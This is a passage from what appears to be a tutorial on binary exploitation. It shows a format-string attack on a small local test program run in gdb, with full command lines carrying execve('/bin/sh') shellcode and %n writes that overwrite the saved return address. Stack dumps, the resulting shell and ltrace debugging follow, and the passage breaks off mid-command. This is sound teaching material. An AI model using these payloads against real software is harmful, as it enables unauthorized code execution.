0xf7ddbee5 0x00000002 0xffffd064 0xffffd070 622 | 0xffffcfdc: 0xffffcff4 0xf7fa8000 0x00000000 0xffffd048 623 | 0xffffcfec: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 624 | 0xffffcffc: 0xf7fa8000 0x00000000 0x64e27305 0x20009515 625 | 0xffffd00c: 0x00000000 0x00000000 0x00000000 0x00000002 626 | 0xffffd01c: 0x080490a0 0x00000000 0xf7fe7b24 0xf7fe22f0 627 | 0xffffd02c: 0x0804c000 0x00000002 0x080490a0 0x00000000 628 | 0xffffd03c: 0x080490d6 0x080491b6 0x00000002 0xffffd064 629 | 0xffffd04c: 0x08049220 0x08049290 0xf7fe22f0 0xffffd05c 630 | gef➤ 631 | ``` 632 | 633 | The value at the `0xffffcfdc` changed, but it is not what we need. It is a case when you need to write in several stages. Okay. 634 | 635 | A value to write in the first stage is `53181`. Which is 0xcfdc - 27 - 4 (because we will add another address with an offset of 2 bytes). 636 | 637 | ```bash 638 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%53181u" + "%6$n"') 639 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%53181u" + "%6$n"') 640 | ��������1�Ph//shh/bin��PS�� 641 | 642 | Breakpoint 1, 0x0804921c in main () 643 | 644 | gef➤ x/100wx $esp - 0xfc 645 | 0xffffcec0: 0xffffced8 0xffffd270 0x000000c8 0x080491d4 646 | 0xffffced0: 0x00000000 0x00000000 0xffffcfbc 0xffffcfbe 647 | 0xffffcee0: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 648 | 0xffffcef0: 0xb0e18953 0x2580cd0b 0x32393235 0x36257539 649 | 0xffffcf00: 0x00007824 0x00000000 0x00000000 0x00000000 650 | 0xffffcf10: 0x00000000 0x00000000 0x00000000 0x00000000 651 | 0xffffcf20: 0x00000000 0x00000000 0x00000000 0x00000000 652 | 0xffffcf30: 0x00000000 0x00000000 0x00000000 0x00000000 653 | 0xffffcf40: 0x00000000 0x00000000 0x00000000 0x00000000 654 | 0xffffcf50: 0x00000000 0x00000000 0x00000000 0x00000000 655 | 0xffffcf60: 0x00000000 0x00000000 0x00000000 0x00000000 656 | 0xffffcf70: 0x00000000 0x00000000 0x00000000 0x00000000 657 | 0xffffcf80: 0x00000000 0x00000000 0x00000000 0x00000000 658 | 0xffffcf90: 0x00000000 0x00000000 0x00000000 0x00000000 659 | 0xffffcfa0: 0xffffcfc0 0x00000000 0x00000000 0xf7ddbee5 660 | 0xffffcfb0: 0xf7fa8000 0xf7fa8000 0x00000000 0xf7ddbee5 661 | 0xffffcfc0: 0x00000002 0xffffd054 0xffffd060 0xffffcfe4 662 | 0xffffcfd0: 0xf7fa8000 0x00000000 0xffffd038 0x00000000 663 | 0xffffcfe0: 0xf7ffd000 0x00000000 0xf7fa8000 0xf7fa8000 664 | 0xffffcff0: 0x00000000 0xee02ebb1 0xaae02da1 0x00000000 665 | 0xffffd000: 0x00000000 0x00000000 0x00000002 0x080490a0 666 | 0xffffd010: 0x00000000 0xf7fe7cd4 0xf7fe2410 0x0804c000 667 | 0xffffd020: 0x00000002 0x080490a0 0x00000000 0x080490d6 668 | 0xffffd030: 0x080491b6 0x00000002 0xffffd054 0x08049220 669 | 0xffffd040: 0x08049290 0xf7fe2410 0xffffd04c 0x0000001c 670 | gef➤ 671 | ``` 672 | 673 | Also, the saved return address changed its place in the stack. Now it is at `0xffffcfbc`. And the shellcode changed its place too. It is at `0xffffcee0`. 674 | 675 | Okay, write first 2 bytes. 676 | ```bash 677 | gef➤ r $(python -c 'print "\xbc\xcf\xff\xff" + "\xbe\xcf\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%52929u" + "%6$n"') 678 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xbc\xcf\xff\xff" + "\xbe\xcf\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%52929u" + "%6$n"') 679 | ��������1�Ph//shh/bin��PS�� 680 | 681 | gef➤ x/100wx $esp - 0xfc 682 | 0xffffcec0: 0xffffced8 0xffffd270 0x000000c8 0x080491d4 683 | 0xffffced0: 0x00000000 0x00000000 0xffffcfbc 0xffffcfbe 684 | 0xffffcee0: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 685 | 0xffffcef0: 0xb0e18953 0x2580cd0b 0x32393235 0x36257539 686 | 0xffffcf00: 0x00006e24 0x00000000 0x00000000 0x00000000 687 | 0xffffcf10: 0x00000000 0x00000000 0x00000000 0x00000000 688 | 0xffffcf20: 0x00000000 0x00000000 0x00000000 0x00000000 689 | 0xffffcf30: 0x00000000 0x00000000 0x00000000 0x00000000 690 | 0xffffcf40: 0x00000000 0x00000000 0x00000000 0x00000000 691 | 0xffffcf50: 0x00000000 0x00000000 0x00000000 0x00000000 692 | 0xffffcf60: 0x00000000 0x00000000 0x00000000 0x00000000 693 | 0xffffcf70: 0x00000000 0x00000000 0x00000000 0x00000000 694 | 0xffffcf80: 0x00000000 0x00000000 0x00000000 0x00000000 695 | 0xffffcf90: 0x00000000 0x00000000 0x00000000 0x00000000 696 | 0xffffcfa0: 0xffffcfc0 0x00000000 0x00000000 0xf7ddbee5 697 | 0xffffcfb0: 0xf7fa8000 0xf7fa8000 0x00000000 0x0000cee0 698 | 0xffffcfc0: 0x00000002 0xffffd054 0xffffd060 0xffffcfe4 699 | 0xffffcfd0: 0xf7fa8000 0x00000000 0xffffd038 0x00000000 700 | 0xffffcfe0: 0xf7ffd000 0x00000000 0xf7fa8000 0xf7fa8000 701 | 0xffffcff0: 0x00000000 0xcd183db2 0x89fafba2 0x00000000 702 | 0xffffd000: 0x00000000 0x00000000 0x00000002 0x080490a0 703 | 0xffffd010: 0x00000000 0xf7fe7cd4 0xf7fe2410 0x0804c000 704 | 0xffffd020: 0x00000002 0x080490a0 0x00000000 0x080490d6 705 | 0xffffd030: 0x080491b6 0x00000002 0xffffd054 0x08049220 706 | 0xffffd040: 0x08049290 0xf7fe2410 0xffffd04c 0x0000001c 707 | gef➤ 708 | ``` 709 | 710 | Next, 2 bytes. 711 | ```bash 712 | >>> 0xffff - 0xcee0 713 | 12575 714 | >>> 715 | ``` 716 | 717 | ```bash 718 | gef➤ r $(python -c 'print "\xbc\xcf\xff\xff" + "\xbe\xcf\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%52929u" + "%6$n" + "%12575u" + "%7$n"') 719 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xbc\xcf\xff\xff" + "\xbe\xcf\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%52929u" + "%6$n" + "%12575u" + "%7$n"') 720 | ��������1�Ph//shh/bin��PS�� 721 | 722 | gef➤ x/100wx $esp - 0xfc 723 | 0xffffcec0: 0xffffced8 0xffffd265 0x000000c8 0x080491d4 724 | 0xffffced0: 0x00000000 0x00000000 0xffffcfbc 0xffffcfbe 725 | 0xffffcee0: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 726 | 0xffffcef0: 0xb0e18953 0x2580cd0b 0x32393235 0x36257539 727 | 0xffffcf00: 0x31256e24 0x35373532 0x24372575 0x0000006e 728 | 0xffffcf10: 0x00000000 0x00000000 0x00000000 0x00000000 729 | 0xffffcf20: 0x00000000 0x00000000 0x00000000 0x00000000 730 | 0xffffcf30: 0x00000000 0x00000000 0x00000000 0x00000000 731 | 0xffffcf40: 0x00000000 0x00000000 0x00000000 0x00000000 732 | 0xffffcf50: 0x00000000 0x00000000 0x00000000 0x00000000 733 | 0xffffcf60: 0x00000000 0x00000000 0x00000000 0x00000000 734 | 0xffffcf70: 0x00000000 0x00000000 0x00000000 0x00000000 735 | 0xffffcf80: 0x00000000 0x00000000 0x00000000 0x00000000 736 | 0xffffcf90: 0x00000000 0x00000000 0x00000000 0x00000000 737 | 0xffffcfa0: 0xffffcfc0 0x00000000 0x00000000 0xf7ddbee5 738 | 0xffffcfb0: 0xf7fa8000 0xf7fa8000 0x00000000 0xffffcee0 739 | 0xffffcfc0: 0x00000000 0xffffd054 0xffffd060 0xffffcfe4 740 | 0xffffcfd0: 0xf7fa8000 0x00000000 0xffffd038 0x00000000 741 | 0xffffcfe0: 0xf7ffd000 0x00000000 0xf7fa8000 0xf7fa8000 742 | 0xffffcff0: 0x00000000 0x748c3291 0x306ef481 0x00000000 743 | 0xffffd000: 0x00000000 0x00000000 0x00000002 0x080490a0 744 | 0xffffd010: 0x00000000 0xf7fe7cd4 0xf7fe2410 0x0804c000 745 | 0xffffd020: 0x00000002 0x080490a0 0x00000000 0x080490d6 746 | 0xffffd030: 0x080491b6 0x00000002 0xffffd054 0x08049220 747 | 0xffffd040: 0x08049290 0xf7fe2410 0xffffd04c 0x0000001c 748 | gef➤ 749 | ``` 750 | 751 | You can see that the shellcode address was written. BUT, for me, it doesn't work. So, now, I'm trying to solve the problem: the program jumps to shellcode but doesn't execute it properly... 752 | 753 | Okay, I solved it. The problem was in shellcode. It stops working :) So, I just took [another one](http://shell-storm.org/shellcode/files/shellcode-585.php "http://shell-storm.org/shellcode/files/shellcode-585.php") from the [shellcode database](http://shell-storm.org/shellcode/ "http://shell-storm.org/shellcode/"). 754 | 755 | Here, you need to do the same calculations that were above, but the shellcode will be after format string things. 756 | 757 | ```bash 758 | gef➤ r $(python -c 'print "\xac\xcf\xff\xff" + "\xae\xcf\xff\xff" + "%52958u" + "%6$n" + "%12569u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 759 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xac\xcf\xff\xff" + "\xae\xcf\xff\xff" + "%52958u" + "%6$n" + "%12569u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 760 | �������� 761 | 762 | Breakpoint 1, 0x0804921c in main () 763 | 764 | gef➤ x/106wx $esp - 0x100 765 | 0xffffceac: 0x0804920b 0xffffcec8 0xffffd263 0x000000c8 766 | 0xffffcebc: 0x080491d4 0x00000000 0x00000000 0xffffcfac 767 | 0xffffcecc: 0xffffcfae 0x39323525 0x25753835 0x256e2436 768 | 0xffffcedc: 0x36353231 0x37257539 0x0beb6e24 0x31c0315b 769 | 0xffffceec: 0xb0d231c9 0xe880cd0b 0xfffffff0 0x6e69622f 770 | 0xffffcefc: 0x0068732f 0x00000000 0x00000000 0x00000000 771 | 0xffffcf0c: 0x00000000 0x00000000 0x00000000 0x00000000 772 | 0xffffcf1c: 0x00000000 0x00000000 0x00000000 0x00000000 773 | 0xffffcf2c: 0x00000000 0x00000000 0x00000000 0x00000000 774 | 0xffffcf3c: 0x00000000 0x00000000 0x00000000 0x00000000 775 | 0xffffcf4c: 0x00000000 0x00000000 0x00000000 0x00000000 776 | 0xffffcf5c: 0x00000000 0x00000000 0x00000000 0x00000000 777 | 0xffffcf6c: 0x00000000 0x00000000 0x00000000 0x00000000 778 | 0xffffcf7c: 0x00000000 0x00000000 0x00000000 0x00000000 779 | 0xffffcf8c: 0x00000000 0xffffcfb0 0x00000000 0x00000000 780 | 0xffffcf9c: 0xf7ddbee5 0xf7fa8000 0xf7fa8000 0x00000000 781 | 0xffffcfac: 0xffffcee6 0x00000000 0xffffd044 0xffffd050 782 | 0xffffcfbc: 0xffffcfd4 0xf7fa8000 0x00000000 0xffffd028 783 | 0xffffcfcc: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 784 | 0xffffcfdc: 0xf7fa8000 0x00000000 0xeafeb5a5 0xae1c93b5 785 | 0xffffcfec: 0x00000000 0x00000000 0x00000000 0x00000002 786 | 0xffffcffc: 0x080490a0 0x00000000 0xf7fe7cd4 0xf7fe2410 787 | 0xffffd00c: 0x0804c000 0x00000002 0x080490a0 0x00000000 788 | 0xffffd01c: 0x080490d6 0x080491b6 0x00000002 0xffffd044 789 | 0xffffd02c: 0x08049220 0x08049290 0xf7fe2410 0xffffd03c 790 | 0xffffd03c: 0x0000001c 0x00000002 0xffffd21e 0xffffd263 791 | 0xffffd04c: 0x00000000 0xffffd29b 792 | gef➤ 793 | ``` 794 | 795 | The return address is at `0xffffcfac` and the shellcode is at `0xffffcee6`. Next, continue the execution. 796 | 797 | ```bash 798 | gef➤ c 799 | Continuing. 800 | process 16431 is executing new program: /bin/dash 801 | Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. 802 | Error in re-setting breakpoint 1: No symbol "main" in current context. 803 | Error in re-setting breakpoint 1: No symbol "main" in current context. 804 | Error in re-setting breakpoint 1: No symbol "main" in current context. 805 | $ w 806 | [Detaching after fork from child process 16481] 807 | 11:18:42 up 3:02, 1 user, load average: 0.70, 0.54, 0.37 808 | USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 809 | shogun tty7 :0 08:16 3:02m 9:01 4.18s xfce4-session 810 | $ 811 | ``` 812 | 813 | Again, there is a problem that this exploit doesn't work outside gdb. Correct it. Use `unset environment LINES`, `unset environment COLUMNS`. 814 | 815 | ```bash 816 | gef➤ unset environment LINES 817 | gef➤ unset environment COLUMNS 818 | gef➤ b *main + 102 819 | Breakpoint 1 at 0x804921c 820 | 821 | gef➤ r $(python -c 'print "\xac\xcf\xff\xff" + "\xae\xcf\xff\xff" + "%52958u" + "%6$n" + "%12569u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 822 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xac\xcf\xff\xff" + "\xae\xcf\xff\xff" + "%52958u" + "%6$n" + "%12569u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 823 | �������� 824 | 825 | gef➤ x/106wx $esp - 0x100 826 | 0xffffcedc: 0x0804920b 0xffffcef8 0xffffd278 0x000000c8 827 | 0xffffceec: 0x080491d4 0x00000000 0x00000000 0xffffcfac 828 | 0xffffcefc: 0xffffcfae 0x39323525 0x25753835 0x256e2436 829 | 0xffffcf0c: 0x36353231 0x37257539 0x0beb6e24 0x31c0315b 830 | 0xffffcf1c: 0xb0d231c9 0xe880cd0b 0xfffffff0 0x6e69622f 831 | 0xffffcf2c: 0x0068732f 0x00000000 0x00000000 0x00000000 832 | 0xffffcf3c: 0x00000000 0x00000000 0x00000000 0x00000000 833 | 0xffffcf4c: 0x00000000 0x00000000 0x00000000 0x00000000 834 | 0xffffcf5c: 0x00000000 0x00000000 0x00000000 0x00000000 835 | 0xffffcf6c: 0x00000000 0x00000000 0x00000000 0x00000000 836 | 0xffffcf7c: 0x00000000 0x00000000 0x00000000 0x00000000 837 | 0xffffcf8c: 0x00000000 0x00000000 0x00000000 0x00000000 838 | 0xffffcf9c: 0x00000000 0x00000000 0x00000000 0x00000000 839 | 0xffffcfac: 0xffffcee6 0x00000000 0x00000000 0x00000000 840 | 0xffffcfbc: 0x00000000 0xffffcfe0 0x00000000 0x00000000 841 | 0xffffcfcc: 0xf7ddbee5 0xf7fa8000 0xf7fa8000 0x00000000 842 | 0xffffcfdc: 0xf7ddbee5 0x00000002 0xffffd074 0xffffd080 843 | 0xffffcfec: 0xffffd004 0xf7fa8000 0x00000000 0xffffd058 844 | 0xffffcffc: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 845 | 0xffffd00c: 0xf7fa8000 0x00000000 0x6653c629 0x22b14039 846 | 0xffffd01c: 0x00000000 0x00000000 0x00000000 0x00000002 847 | 0xffffd02c: 0x080490a0 0x00000000 0xf7fe7cd4 0xf7fe2410 848 | 0xffffd03c: 0x0804c000 0x00000002 0x080490a0 0x00000000 849 | 0xffffd04c: 0x080490d6 0x080491b6 0x00000002 0xffffd074 850 | 0xffffd05c: 0x08049220 0x08049290 0xf7fe2410 0xffffd06c 851 | 0xffffd06c: 0x0000001c 0x00000002 0xffffd233 0xffffd278 852 | 0xffffd07c: 0x00000000 0xffffd2b0 853 | gef➤ 854 | ``` 855 | 856 | The addresses changed again. `CHANGE IT AGAIN :D`. 857 | ```bash 858 | gef➤ x/106wx $esp - 0x106 859 | 0xffffced6: 0x1349f7ff 0x920bf7e1 0xcef80804 0xd278ffff 860 | 0xffffcee6: 0x00c8ffff 0x91d40000 0x00000804 0x00000000 861 | 0xffffcef6: 0xcfdc0000 0xcfdeffff 0x3525ffff 0x38353932 862 | 0xffffcf06: 0x24362575 0x3231256e 0x75393635 0x6e243725 863 | 0xffffcf16: 0x315b0beb 0x31c931c0 0xcd0bb0d2 0xfff0e880 864 | 0xffffcf26: 0x622fffff 0x732f6e69 0x00000068 0x00000000 865 | 0xffffcf36: 0x00000000 0x00000000 0x00000000 0x00000000 866 | 0xffffcf46: 0x00000000 0x00000000 0x00000000 0x00000000 867 | 0xffffcf56: 0x00000000 0x00000000 0x00000000 0x00000000 868 | 0xffffcf66: 0x00000000 0x00000000 0x00000000 0x00000000 869 | 0xffffcf76: 0x00000000 0x00000000 0x00000000 0x00000000 870 | 0xffffcf86: 0x00000000 0x00000000 0x00000000 0x00000000 871 | 0xffffcf96: 0x00000000 0x00000000 0x00000000 0x00000000 872 | 0xffffcfa6: 0x00000000 0x00000000 0x00000000 0x00000000 873 | 0xffffcfb6: 0x00000000 0x00000000 0xcfe00000 0x0000ffff 874 | 0xffffcfc6: 0x00000000 0xbee50000 0x8000f7dd 0x8000f7fa 875 | 0xffffcfd6: 0x0000f7fa 0xcee60000 0x0000ffff 0xd0740000 876 | 0xffffcfe6: 0xd080ffff 0xd004ffff 0x8000ffff 0x0000f7fa 877 | 0xffffcff6: 0xd0580000 0x0000ffff 0xd0000000 0x0000f7ff 878 | 0xffffd006: 0x80000000 0x8000f7fa 0x0000f7fa 0x30dc0000 879 | 0xffffd016: 0xb6cc2b06 0x00006fe4 0x00000000 0x00000000 880 | 0xffffd026: 0x00020000 0x90a00000 0x00000804 0x7cd40000 881 | 0xffffd036: 0x2410f7fe 0xc000f7fe 0x00020804 0x90a00000 882 | 0xffffd046: 0x00000804 0x90d60000 0x91b60804 0x00020804 883 | 0xffffd056: 0xd0740000 0x9220ffff 0x92900804 0x24100804 884 | 0xffffd066: 0xd06cf7fe 0x001cffff 0x00020000 0xd2330000 885 | 0xffffd076: 0xd278ffff 0x0000ffff 886 | ``` 887 | 888 | The shellcode now is at `0xffffcf16`. How can I determine where the shellcode starts? By the start of the shellcode! `\xeb\x0b\x5b\x31` is `0x315b0beb` which showed above. 889 | 890 | ```bash 891 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "%53006u" + "%6$n" + "%12569u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 892 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "%53006u" + "%6$n" + "%12569u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 893 | �������� 894 | gef➤ x/106wx $esp - 0x100 895 | 0xffffcedc: 0x0804920b 0xffffcef8 0xffffd278 0x000000c8 896 | 0xffffceec: 0x080491d4 0x00000000 0x00000000 0xffffcfdc 897 | 0xffffcefc: 0xffffcfde 0x30333525 0x25753630 0x256e2436 898 | 0xffffcf0c: 0x36353231 0x37257539 0x0beb6e24 0x31c0315b 899 | 0xffffcf1c: 0xb0d231c9 0xe880cd0b 0xfffffff0 0x6e69622f 900 | 0xffffcf2c: 0x0068732f 0x00000000 0x00000000 0x00000000 901 | 0xffffcf3c: 0x00000000 0x00000000 0x00000000 0x00000000 902 | 0xffffcf4c: 0x00000000 0x00000000 0x00000000 0x00000000 903 | 0xffffcf5c: 0x00000000 0x00000000 0x00000000 0x00000000 904 | 0xffffcf6c: 0x00000000 0x00000000 0x00000000 0x00000000 905 | 0xffffcf7c: 0x00000000 0x00000000 0x00000000 0x00000000 906 | 0xffffcf8c: 0x00000000 0x00000000 0x00000000 0x00000000 907 | 0xffffcf9c: 0x00000000 0x00000000 0x00000000 0x00000000 908 | 0xffffcfac: 0x00000000 0x00000000 0x00000000 0x00000000 909 | 0xffffcfbc: 0x00000000 0xffffcfe0 0x00000000 0x00000000 910 | 0xffffcfcc: 0xf7ddbee5 0xf7fa8000 0xf7fa8000 0x00000000 911 | 0xffffcfdc: 0x002fcf16 0x00000001 0xffffd074 0xffffd080 912 | 0xffffcfec: 0xffffd004 0xf7fa8000 0x00000000 0xffffd058 913 | 0xffffcffc: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 914 | 0xffffd00c: 0xf7fa8000 0x00000000 0x670fce9e 0x23ed488e 915 | 0xffffd01c: 0x00000000 0x00000000 0x00000000 0x00000002 916 | 0xffffd02c: 0x080490a0 0x00000000 0xf7fe7cd4 0xf7fe2410 917 | 0xffffd03c: 0x0804c000 0x00000002 0x080490a0 0x00000000 918 | 0xffffd04c: 0x080490d6 0x080491b6 0x00000002 0xffffd074 919 | 0xffffd05c: 0x08049220 0x08049290 0xf7fe2410 0xffffd06c 920 | 0xffffd06c: 0x0000001c 0x00000002 0xffffd233 0xffffd278 921 | 0xffffd07c: 0x00000000 0xffffd2b0 922 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "%53006u" + "%6$n" + "%12521u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 923 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "%53006u" + "%6$n" + "%12521u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 924 | �������� 925 | gef➤ x/106wx $esp - 0x100 926 | 0xffffcedc: 0x0804920b 0xffffcef8 0xffffd278 0x000000c8 927 | 0xffffceec: 0x080491d4 0x00000000 0x00000000 0xffffcfdc 928 | 0xffffcefc: 0xffffcfde 0x30333525 0x25753630 0x256e2436 929 | 0xffffcf0c: 0x32353231 0x37257531 0x0beb6e24 0x31c0315b 930 | 0xffffcf1c: 0xb0d231c9 0xe880cd0b 0xfffffff0 0x6e69622f 931 | 0xffffcf2c: 0x0068732f 0x00000000 0x00000000 0x00000000 932 | 0xffffcf3c: 0x00000000 0x00000000 0x00000000 0x00000000 933 | 0xffffcf4c: 0x00000000 0x00000000 0x00000000 0x00000000 934 | 0xffffcf5c: 0x00000000 0x00000000 0x00000000 0x00000000 935 | 0xffffcf6c: 0x00000000 0x00000000 0x00000000 0x00000000 936 | 0xffffcf7c: 0x00000000 0x00000000 0x00000000 0x00000000 937 | 0xffffcf8c: 0x00000000 0x00000000 0x00000000 0x00000000 938 | 0xffffcf9c: 0x00000000 0x00000000 0x00000000 0x00000000 939 | 0xffffcfac: 0x00000000 0x00000000 0x00000000 0x00000000 940 | 0xffffcfbc: 0x00000000 0xffffcfe0 0x00000000 0x00000000 941 | 0xffffcfcc: 0xf7ddbee5 0xf7fa8000 0xf7fa8000 0x00000000 942 | 0xffffcfdc: 0xffffcf16 0x00000000 0xffffd074 0xffffd080 943 | 0xffffcfec: 0xffffd004 0xf7fa8000 0x00000000 0xffffd058 944 | 0xffffcffc: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 945 | 0xffffd00c: 0xf7fa8000 0x00000000 0x2410c591 0x60f24381 946 | 0xffffd01c: 0x00000000 0x00000000 0x00000000 0x00000002 947 | 0xffffd02c: 0x080490a0 0x00000000 0xf7fe7cd4 0xf7fe2410 948 | 0xffffd03c: 0x0804c000 0x00000002 0x080490a0 0x00000000 949 | 0xffffd04c: 0x080490d6 0x080491b6 0x00000002 0xffffd074 950 | 0xffffd05c: 0x08049220 0x08049290 0xf7fe2410 0xffffd06c 951 | 0xffffd06c: 0x0000001c 0x00000002 0xffffd233 0xffffd278 952 | 0xffffd07c: 0x00000000 0xffffd2b0 953 | gef➤ c 954 | Continuing. 955 | process 16724 is executing new program: /bin/dash 956 | Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. 957 | Error in re-setting breakpoint 1: No symbol "main" in current context. 958 | Error in re-setting breakpoint 1: No symbol "main" in current context. 959 | Error in re-setting breakpoint 1: No symbol "main" in current context. 960 | $ whoami 961 | [Detaching after fork from child process 16727] 962 | shogun 963 | $ 964 | ``` 965 | 966 | OK. Trying it outside. It doesn't work again. Okay, let's try `ltrace` tool which shows you the library functions execution. 967 | 968 | ~~~bash 969 | $ ltrace ./format-string $(python -c 'print "\xfc\xcf\xff\xff" + "\xfe\xcf\xff\xff" + "%53038u" + "%6$n" + "%12489u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 970 | __libc_start_main(0x80491b6, 2, 0xffffd104, 0x8049220 971 | strncpy(0xffffcf68, "\374\317\377\377\376\317\377\377%53038u%6$n%12489u%7$n\353\v"..., 200) = 0xffffcf88 972 | printf("\374\317\377\377\376\317\377\377%53038u%6$n%12489u%7$n\353\v"..., 4294955730, 0xc8, 134517204, 0�������� 973 | ~~~ 974 | 975 | It shows that the input string is placed at `0xffffcf68`. So, it says that the string is copied to this address. Let's determine this address inside gdb and next calculate the offset. 976 | 977 | ~~~bash 978 | gef➤ unset environment LINES 979 | gef➤ unset environment COLUMNS 980 | gef➤ disas main 981 | Dump of assembler code for function main: 982 | 0x080491b6 <+0>: endbr32 983 | 0x080491ba <+4>: lea ecx,[esp+0x4] 984 | 0x080491be <+8>: and esp,0xfffffff0 985 | 0x080491c1 <+11>: push DWORD PTR [ecx-0x4] 986 | 0x080491c4 <+14>: push ebp 987 | 0x080491c5 <+15>: mov ebp,esp 988 | 0x080491c7 <+17>: push ebx 989 | 0x080491c8 <+18>: push ecx 990 | 0x080491c9 <+19>: sub esp,0xd0 991 | 0x080491cf <+25>: call 0x80490f0 <__x86.get_pc_thunk.bx> 992 | 0x080491d4 <+30>: add ebx,0x2e2c 993 | 0x080491da <+36>: mov eax,ecx 994 | 0x080491dc <+38>: mov eax,DWORD PTR [eax+0x4] 995 | 0x080491df <+41>: add eax,0x4 996 | 0x080491e2 <+44>: mov eax,DWORD PTR [eax] 997 | 0x080491e4 <+46>: sub esp,0x4 998 | 0x080491e7 <+49>: push 0xc8 999 | 0x080491ec <+54>: push eax 1000 | 0x080491ed <+55>: lea eax,[ebp-0xd0] 1001 | 0x080491f3 <+61>: push eax 1002 | 0x080491f4 <+62>: call 0x8049090 1003 | 0x080491f9 <+67>: add esp,0x10 1004 | 0x080491fc <+70>: sub esp,0xc 1005 | 0x080491ff <+73>: lea eax,[ebp-0xd0] 1006 | 0x08049205 <+79>: push eax 1007 | 0x08049206 <+80>: call 0x8049070 1008 | 0x0804920b <+85>: add esp,0x10 1009 | 0x0804920e <+88>: mov eax,0x0 1010 | 0x08049213 <+93>: lea esp,[ebp-0x8] 1011 | 0x08049216 <+96>: pop ecx 1012 | 0x08049217 <+97>: pop ebx 1013 | 0x08049218 <+98>: pop ebp 1014 | 0x08049219 <+99>: lea esp,[ecx-0x4] 1015 | 0x0804921c <+102>: ret 1016 | End of assembler dump. 1017 | ef➤ b *main + 67 1018 | Breakpoint 1 at 0x80491f9 1019 | gef➤ r $(python -c 'print "\xec\xcf\xff\xff" + "\xee\xcf\xff\xff" + "%53024u" + "%6$n" + "%12503u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 1020 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xec\xcf\xff\xff" + "\xee\xcf\xff\xff" + "%53024u" + "%6$n" + "%12503u" + "%7$n" + 